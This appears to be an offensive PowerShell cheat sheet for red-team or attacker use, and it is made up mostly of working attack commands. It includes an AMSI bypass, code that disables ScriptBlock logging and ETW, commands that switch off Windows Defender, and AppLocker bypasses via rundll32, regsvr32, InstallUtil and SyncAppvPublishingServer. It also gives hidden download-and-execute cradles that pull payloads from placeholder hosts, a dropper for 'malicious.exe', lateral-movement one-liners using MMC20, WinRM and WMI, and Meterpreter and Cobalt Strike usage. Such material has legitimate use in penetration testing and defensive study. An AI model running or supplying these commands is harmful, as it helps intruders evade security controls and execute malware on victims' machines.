Offensive PowerShell Cheat Sheet

Version 1.1. Created by Rahmat Nurfauzi (@infosecn1nja) and released under the Creative Commons v3 "Attribution" License.

PowerShell AMSI Bypass

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetFiel
d('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

PowerShell Constrained Language Mode Bypass

```
powershell.exe -Version 2 -Command <command_here>
```

PowerShell ScriptBlock Logging Bypass

```
$GroupPolicyField =
[ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cache
dGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
  $GroupPolicyCache = $GroupPolicyField.GetValue($null)
  If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
      $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']
= 0

$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'
] = 0
  }
  $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
  $val.Add('EnableScriptB'+'lockLogging', 0)
  $val.Add('EnableScriptB'+'lockInvocationLogging', 0)

$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Power
Shell\ScriptB'+'lockLogging'] = $val
}
iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1")
```

PowerShell Disable Windows Defender & Protection

```
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
```

PowerShell Disable ETW Current Session

```
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('Syste
m.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,I
nstance').SetValue([Ref].Assembly.GetType('System.Management.Automation.
Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').Ge
tValue($null),0)
```

PowerShell Execution Policy Bypass

```
TYPE myScript.ps1 | PowerShell.exe -noprofile -
Get-Content .runme.ps1 | PowerShell.exe -noprofile –
powershell.exe -ExecutionPolicy bypass -File myScript.ps1
```

PowerShell Script Execution

```
powershell -w hidden -ep bypass -nop -c “IEX ((New-Object
Net.Webclient).DownloadString(’[URL]’))”

powershell.exe -exec bypass -Command "& {Import-Module
'C:\Users\User\Desktop\temp\script.ps1'; Invoke-Script}"
```

PowerShell Lateral Movement : mmc20 application com object

```
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","<compute
r_name>")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.ex
e", $null, $null, "7")
```

PowerShell Lateral Movement : WinRM

```
Invoke-Command -ComputerName $RemoteComputer -ScriptBlock {Start-Process
‘C:\myCalc.exe’} -credential (Get-Credential)
```

PowerShell Lateral Movement : WMI Object

```
Get-WmiObject -Namespace “root\cimv2” -Class Win32_Process -Impersonation 3 -
Credential MYDOM\ administrator -ComputerName $Computer
```

PowerShell AppLocker Bypass : Rundll32.exe

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('[URL]');"

PowerShell AppLocker Bypass : SyncAppvPublishingServer.exe

SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('[URL]') | IEX"

PowerShell AppLocker Bypass : InstallUtil

execute.cs :

```
using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;
public class Program {
 public static void Main() {}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample: System.Configuration.Install.Installer {
 public override void Uninstall(System.Collections.IDictionary
savedState) {
  Mycode.Exec();
 }
}
public class Mycode {
 public static void Exec() {
  string command = System.IO.File.ReadAllText(@
"C:\Users\user\Desktop\Scripts.ps1");
  RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
  Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
  rspace.Open();
  Pipeline pipeline = rspace.CreatePipeline();
  pipeline.Commands.AddScript(command);
  pipeline.Invoke();
 }
}
```

Compile :
Step 1 :
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\user\Desktop\program.exe C:\Users\user\Desktop\execute.cs

Step 2 :
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\user\Desktop\program.exe

PowerShell AppLocker Bypass : Regsrv32

launcher.sct :

```
<?XML version="1.0"?>
<scriptlet>
<registration
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
       <script language="JScript">
             <![CDATA[
                var r = new ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass –enc <payload_base64_here>");
             ]]>
</script>
</registration>
</scriptlet>
```

regsvr32 /s /u /i:http://example.com/launcher.sct scrobj.dll

PowerShell File Dropper

powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden "(new-object system.net.webclient).downloadfile('http://[DOMAIN]/malicious.exe','%APPDATA%/malicious.exe'); Start-Process %APPDATA%/malicious.exe"

Metasploit Meterpreter PowerShell

```
meterpreter> load powershell
meterpreter> powershell_shell
meterpreter> powershell_import /path/myScript.ps1
meterpreter> powershell_execute Invoke-myScript
```

Cobalt Strike Beacon PowerShell

```
beacon> powershell-import /path/myScript.ps1
beacon> powershell Invoke-myScript
```

PowerShell Obfuscator Tools

https://github.com/danielbohannon/Invoke-CradleCrafter
https://github.com/danielbohannon/Invoke-Obfuscation

Offensive PowerShell Framework Tools
https://github.com/PowerShellMafia/PowerSploit
https://github.com/EmpireProject/Empire
https://github.com/samratashok/nishang
https://github.com/jaredhaight/PSAttack
https://github.com/nettitude/PoshC2

PowerShell Reverse Engineering Tools
https://github.com/mattifestation/PowerShellArsenal

Execute PowerShell without PoweShell Tools
https://github.com/Ben0xA/nps
https://github.com/p3nt4/PowerShdll
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick
https://github.com/Mr-Un1k0d3r/PowerLessShell
https://github.com/EmpireProject/PSInject